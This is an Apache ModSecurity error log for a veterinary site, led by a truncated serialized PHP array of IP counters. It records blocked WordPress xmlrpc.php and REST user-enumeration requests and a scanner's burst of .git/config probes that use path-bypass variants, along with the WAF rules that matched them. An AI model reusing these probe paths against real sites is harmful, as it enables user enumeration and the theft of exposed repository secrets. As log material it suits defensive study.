'a:2782:{s:15:\\"195.154.200.196\\";a:1:{i:0;i:1723473878;}s:13:\\"81.94.156.169\\";a:1:{i:2;i:1723917182;}s:13:\\"195.154.84.78\\";a:1:{i:0;i:1723489369;}s:14:\\"170.64.225.194\\";a:2:{i:1;i:1723490696;i:2;i:1723490699;}s:13:\\"64.233.173.96\\";a:1:{i:587;i:1757715684;}s:12:\\"40.77.167.45\\";a:1:{i:0;i:1723539245;}s:12:\\"40.77.167.30\\";a:1:{i:2;i:1740101853;}s:14:\\"74.125.208.138\\";a:1:{i:5;i:1739502371;}s:13:\\"146.75.190.39\\";a:2:{i:0;i:1723600199;i:1;i:1723600201;}s:15:\\"176.109.182.170\\";a:1:{i:0;i:1723638839;}s:15:\\"105.154.199.120\\";a:1:{i:0;i:1723673159;}s:15:\\"172.245.210.149\\";a:1:{i:2;i:1723698719;}s:13:\\"68.69.184.202\\";a:1:{i:2;i:1723703245;}s:14:\\"52.167.144.142\\";a:1:{i:1;i:1731148419;}s:14:\\"64.233.173.102\\";a:1:{i:509;i:1757915474;}s:13:\\"45.227.254.34\\";a:1:{i:1;i:1725900797;}s:14:\\"64.233.173.101\\";a:1:{i:581;i:1757760393;}s:14:\\"103.194.184.66\\";a:1...', referer: https://vetstars.com.au/%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%20%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx
[Fri Nov 28 10:02:44.176771 2025] [:error] [pid 39044:tid 39052] [client 89.187.187.84:32962] [client 89.187.187.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.187.187.84, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSkCxFJTEToQ71_sskmr_wAAAAY"]
[Fri Nov 28 10:02:47.667195 2025] [:error] [pid 39044:tid 39056] [client 89.187.187.84:32962] [client 89.187.187.84] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aSkCx1JTEToQ71_sskmsBgAAAAo"]
[Fri Nov 28 10:02:51.222781 2025] [:error] [pid 39044:tid 39070] [client 89.187.187.84:32962] [client 89.187.187.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.187.187.84, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aSkCy1JTEToQ71_sskmsGQAAABg"]
[Fri Nov 28 11:37:46.488503 2025] [:error] [pid 60132:tid 60144] [client 213.21.239.4:56846] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/.git/%0Aconfig"] [unique_id "aSkZCjwokW6HMeZnqkEYLwAAAAo"]
[Fri Nov 28 11:37:46.490735 2025] [:error] [pid 60132:tid 60139] [client 213.21.239.4:56834] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/admin/.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYMAAAAAU"]
[Fri Nov 28 11:37:46.492096 2025] [:error] [pid 60132:tid 60136] [client 213.21.239.4:56826] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/content../.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYMQAAAAI"]
[Fri Nov 28 11:37:46.501352 2025] [:error] [pid 60132:tid 60153] [client 213.21.239.4:56984] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/.git/config;.."] [unique_id "aSkZCjwokW6HMeZnqkEYMwAAABM"]
[Fri Nov 28 11:37:46.506463 2025] [:error] [pid 60132:tid 60145] [client 213.21.239.4:56874] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/common/.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYNQAAAAs"]
[Fri Nov 28 11:37:46.507874 2025] [:error] [pid 60049:tid 60122] [client 213.21.239.4:56856] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/dev/.git/config"] [unique_id "aSkZCqxH5eVXyMm4cqkYagAAAdE"]
[Fri Nov 28 11:37:46.508061 2025] [:error] [pid 60132:tid 60150] [client 213.21.239.4:56868] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/;/.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYNwAAABA"]
[Fri Nov 28 11:37:46.508674 2025] [:error] [pid 60132:tid 60140] [client 213.21.239.4:56968] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYOAAAAAY"]
[Fri Nov 28 11:37:46.509807 2025] [:error] [pid 60132:tid 60157] [client 213.21.239.4:56864] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/api/.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYOQAAABc"]
[Fri Nov 28 11:37:46.510608 2025] [:error] [pid 60132:tid 60146] [client 213.21.239.4:56828] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/assets../.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYOgAAAAw"]
[Fri Nov 28 11:37:46.516844 2025] [:error] [pid 60047:tid 60059] [client 213.21.239.4:56948] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/css../.git/config"] [unique_id "aSkZCmwkchoTHdEAxX4HFAAAAUg"]
[Fri Nov 28 11:37:46.516999 2025] [:error] [pid 60047:tid 60065] [client 213.21.239.4:56966] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/app/.git/config"] [unique_id "aSkZCmwkchoTHdEAxX4HEwAAAU4"]
[Fri Nov 28 11:37:46.517201 2025] [:error] [pid 60132:tid 60148] [client 213.21.239.4:56840] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/backup/.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYOwAAAA4"]
[Fri Nov 28 11:37:46.517997 2025] [:error] [pid 60132:tid 60142] [client 213.21.239.4:57000] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/.git/config;"] [unique_id "aSkZCjwokW6HMeZnqkEYPAAAAAg"]
[Fri Nov 28 11:37:46.518007 2025] [:error] [pid 60132:tid 60149] [client 213.21.239.4:56896] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars../.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYPQAAAA8"]
[Fri Nov 28 11:37:46.518272 2025] [:error] [pid 60132:tid 60154] [client 213.21.239.4:56920] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/application/.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYPgAAABQ"]
[Fri Nov 28 11:37:46.518698 2025] [:error] [pid 60049:tid 60126] [client 213.21.239.4:56962] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/developer/.git/config"] [unique_id "aSkZCqxH5eVXyMm4cqkYawAAAdU"]
[Fri Nov 28 11:37:46.521978 2025] [:error] [pid 60132:tid 60147] [client 213.21.239.4:56806] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/database/.git/config"] [unique_id "aSkZCjwokW6HMeZnqkEYPwAAAA0"]
[Fri Nov 28 11:37:46.525161 2025] [:error] [pid 60049:tid 60117] [client 213.21.239.4:57002] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/..;/.git/config"] [unique_id "aSkZCqxH5eVXyMm4cqkYbAAAAcw"]
[Fri Nov 28 11:37:46.535181 2025] [:error] [pid 60049:tid 60113] [client 213.21.239.4:56848] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars/static../.git/config"] [unique_id "aSkZCqxH5eVXyMm4cqkYbQAAAcg"]
[Fri Nov 28 11:37:50.220254 2025] [:error] [pid 60132:tid 60141] [client 213.21.239.4:57018] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/img../.git/config"] [unique_id "aSkZDjwokW6HMeZnqkEYRwAAAAc"]
[Fri Nov 28 11:37:50.221235 2025] [:error] [pid 60132:tid 60155] [client 213.21.239.4:57046] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config;"] [unique_id "aSkZDjwokW6HMeZnqkEYSAAAABU"]
[Fri Nov 28 11:37:50.222681 2025] [:error] [pid 60132:tid 60137] [client 213.21.239.4:57140] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au../.git/config"] [unique_id "aSkZDjwokW6HMeZnqkEYSQAAAAM"]
[Fri Nov 28 11:37:50.224704 2025] [:error] [pid 60049:tid 60117] [client 213.21.239.4:57114] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/;/.git/config"] [unique_id "aSkZDqxH5eVXyMm4cqkYdQAAAcw"]
[Fri Nov 28 11:37:50.225785 2025] [:error] [pid 60132:tid 60138] [client 213.21.239.4:57142] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/images../.git/config"] [unique_id "aSkZDjwokW6HMeZnqkEYSgAAAAQ"]
[Fri Nov 28 11:37:50.230420 2025] [:error] [pid 60132:tid 60135] [client 213.21.239.4:57146] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/.git/config"] [unique_id "aSkZDjwokW6HMeZnqkEYSwAAAAE"]
[Fri Nov 28 11:37:50.232866 2025] [:error] [pid 60132:tid 60144] [client 213.21.239.4:57104] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/.git/%0Aconfig"] [unique_id "aSkZDjwokW6HMeZnqkEYTQAAAAo"]
[Fri Nov 28 11:37:50.233532 2025] [:error] [pid 60049:tid 60114] [client 213.21.239.4:57062] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config;.."] [unique_id "aSkZDqxH5eVXyMm4cqkYdgAAAck"]
[Fri Nov 28 11:37:50.237380 2025] [:error] [pid 60047:tid 60068] [client 213.21.239.4:57130] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/git/.git/config"] [unique_id "aSkZDmwkchoTHdEAxX4HGAAAAVE"]
[Fri Nov 28 11:37:50.238530 2025] [:error] [pid 60047:tid 60064] [client 213.21.239.4:57210] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/static../.git/config"] [unique_id "aSkZDmwkchoTHdEAxX4HGQAAAU0"]
[Fri Nov 28 11:37:50.239813 2025] [:error] [pid 60047:tid 60060] [client 213.21.239.4:57224] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/%0Aconfig"] [unique_id "aSkZDmwkchoTHdEAxX4HGgAAAUk"]
[Fri Nov 28 11:37:50.241175 2025] [:error] [pid 60048:tid 60100] [client 213.21.239.4:57174] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/.git/config;.."] [unique_id "aSkZDji22rH28sNFSdJXeQAAAZY"]
[Fri Nov 28 11:37:50.244033 2025] [:error] [pid 60048:tid 60093] [client 213.21.239.4:57242] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/..;/.git/config"] [unique_id "aSkZDji22rH28sNFSdJXegAAAY8"]
[Fri Nov 28 11:37:50.244063 2025] [:error] [pid 60047:tid 60058] [client 213.21.239.4:57226] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/..;/.git/config"] [unique_id "aSkZDmwkchoTHdEAxX4HGwAAAUc"]
[Fri Nov 28 11:37:50.244083 2025] [:error] [pid 60132:tid 60139] [client 213.21.239.4:57198] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/;/.git/config"] [unique_id "aSkZDjwokW6HMeZnqkEYTgAAAAU"]
[Fri Nov 28 11:37:50.247882 2025] [:error] [pid 60047:tid 60072] [client 213.21.239.4:57030] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/.git/config"] [unique_id "aSkZDmwkchoTHdEAxX4HHAAAAVU"]
[Fri Nov 28 11:37:50.248860 2025] [:error] [pid 60132:tid 60136] [client 213.21.239.4:57162] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/www.vetstars.com.au/.git/config;"] [unique_id "aSkZDjwokW6HMeZnqkEYTwAAAAI"]
[Fri Nov 28 11:37:52.224976 2025] [:error] [pid 60047:tid 60073] [client 213.21.239.4:57260] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/js../.git/config"] [unique_id "aSkZEGwkchoTHdEAxX4HHwAAAVY"]
[Fri Nov 28 11:37:52.226976 2025] [:error] [pid 60049:tid 60116] [client 213.21.239.4:57254] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/lib../.git/config"] [unique_id "aSkZEKxH5eVXyMm4cqkYegAAAcs"]
[Fri Nov 28 11:37:52.247234 2025] [:error] [pid 60047:tid 60063] [client 213.21.239.4:57294] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/message-api/.git/config"] [unique_id "aSkZEGwkchoTHdEAxX4HIAAAAUw"]
[Fri Nov 28 11:37:52.248853 2025] [:error] [pid 60047:tid 60075] [client 213.21.239.4:57272] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/live/.git/config"] [unique_id "aSkZEGwkchoTHdEAxX4HIQAAAVg"]
[Fri Nov 28 11:37:52.250904 2025] [:error] [pid 60047:tid 60051] [client 213.21.239.4:57278] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/m/.git/config"] [unique_id "aSkZEGwkchoTHdEAxX4HIgAAAUA"]
[Fri Nov 28 11:37:53.219525 2025] [:error] [pid 60048:tid 60087] [client 213.21.239.4:57352] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/.git/config;"] [unique_id "aSkZETi22rH28sNFSdJXfAAAAYk"]
[Fri Nov 28 11:37:53.226857 2025] [:error] [pid 60047:tid 60055] [client 213.21.239.4:57316] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/prod/.git/config"] [unique_id "aSkZEWwkchoTHdEAxX4HIwAAAUQ"]
[Fri Nov 28 11:37:53.227243 2025] [:error] [pid 60048:tid 60084] [client 213.21.239.4:57318] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/public/.git/config"] [unique_id "aSkZETi22rH28sNFSdJXfQAAAYY"]
[Fri Nov 28 11:37:53.227902 2025] [:error] [pid 60047:tid 60054] [client 213.21.239.4:57330] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/.git/config"] [unique_id "aSkZEWwkchoTHdEAxX4HJQAAAUM"]
[Fri Nov 28 11:37:53.228048 2025] [:error] [pid 60047:tid 60056] [client 213.21.239.4:57314] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/new/.git/config"] [unique_id "aSkZEWwkchoTHdEAxX4HJAAAAUU"]
[Fri Nov 28 11:37:53.232513 2025] [:error] [pid 60132:tid 60135] [client 213.21.239.4:57452] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/;/.git/config"] [unique_id "aSkZETwokW6HMeZnqkEYUQAAAAE"]
[Fri Nov 28 11:37:53.237609 2025] [:error] [pid 60132:tid 60144] [client 213.21.239.4:57400] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/..;/.git/config"] [unique_id "aSkZETwokW6HMeZnqkEYUgAAAAo"]
[Fri Nov 28 11:37:53.238997 2025] [:error] [pid 60048:tid 60102] [client 213.21.239.4:57464] [client 213.21.239.4] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.vetstars.com.au"] [uri "/vetstars.com.au/static../.git/config"] [unique_id "aSkZETi22rH28sNFSdJXfgAAAZg"]
